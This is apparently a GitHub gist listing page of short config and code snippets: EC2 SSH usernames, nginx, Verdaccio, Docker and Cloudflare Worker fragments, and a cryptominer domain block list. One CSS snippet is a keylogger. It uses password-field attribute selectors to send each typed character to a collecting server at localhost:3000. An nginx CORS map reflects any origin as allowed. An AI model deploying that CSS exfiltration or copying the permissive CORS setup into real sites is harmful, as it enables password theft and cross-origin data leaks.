| OS/Distro | Official AMI ssh Username | Legacy / Community / Other AMI ssh Usernames |
|---|---|---|
| Amazon Linux | ec2-user | |
| Ubuntu | ubuntu | root |
| Debian | admin | root |
| RHEL 6.4 and later | ec2-user | |
| RHEL 6.3 and earlier | root | |
| Fedora | fedora | ec2-user, root |
| Centos | centos | root |
| SUSE | root |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| server { | |
| location ^~ /.well-known/acme-challenge/ { | |
| default_type "text/plain"; | |
| root /var/www/letsencrypt; | |
| allow all; | |
| } | |
| index index.html index.htm index.nginx-debian.html; | |
| server_name xxxx.com www.xxxx.com; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Look here for more config file examples: | |
| # https://github.com/verdaccio/verdaccio/tree/master/conf | |
| # | |
| # path to a directory with all packages | |
| storage: ./storage | |
| auth: | |
| htpasswd: | |
| file: ./htpasswd |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Last updated: 08/24/2916 | |
| # | |
| # Total instructions available: 18 | |
| # | |
| # https://docs.docker.com/engine/reference/builder/ | |
| # | |
| # You can use a .dockerignore file in the same context directory as | |
| # your Dockerfile to ignore files in the context before sending them | |
| # to the Docker daemon for building to speed up building. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| addEventListener('fetch', event => { | |
| event.respondWith(fetchAndCheckPassword(event.request)) | |
| }) | |
| async function fetchAndCheckPassword(req) { | |
| if (req.method == "POST") { | |
| try { | |
| const post = await req.formData(); | |
| const pwd = post.get('password') | |
| const enc = new TextEncoder("utf-8").encode(pwd) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } | |
| input[type="password"][value$="!"] { background-image: url("http://localhost:3000/%21"); } | |
| input[type="password"][value$="\""] { background-image: url("http://localhost:3000/%22"); } | |
| input[type="password"][value$="#"] { background-image: url("http://localhost:3000/%23"); } | |
| input[type="password"][value$="$"] { background-image: url("http://localhost:3000/%24"); } | |
| input[type="password"][value$="%"] { background-image: url("http://localhost:3000/%25"); } | |
| input[type="password"][value$="&"] { background-image: url("http://localhost:3000/%26"); } | |
| input[type="password"][value$="'"] { background-image: url("http://localhost:3000/%27"); } | |
| input[type="password"][value$="("] { background-image: url("http://localhost:3000/%28"); } | |
| input[type="password"][value$=")"] { background-image: url("http://localhost:3000/%29"); } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| map $http_origin $allow_origin { | |
| default "$http_origin"; | |
| } | |
| map $request_method $cors_method { | |
| default "allowed"; | |
| "OPTIONS" "preflight"; | |
| } | |
| map $cors_method $cors_max_age { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| map $http_origin $allow_origin { | |
| default "$http_origin"; | |
| } | |
| map $request_method $cors_method { | |
| default "allowed"; | |
| "OPTIONS" "preflight"; | |
| } | |
| map $cors_method $cors_max_age { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ||coinhive.com/lib/* | |
| ||cryptoloot.pro/lib/* | |
| ||cdn.inwemo.com/* | |
| ||coin-have.com/c/* | |
| ||load.jsecoin.com/load/* | |
| ||minero.cc/lib/* | |
| ||ppoi.org/lib/* | |
| ||webmine.cz/* |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # to generate your dhparam.pem file, run in the terminal | |
| openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048 |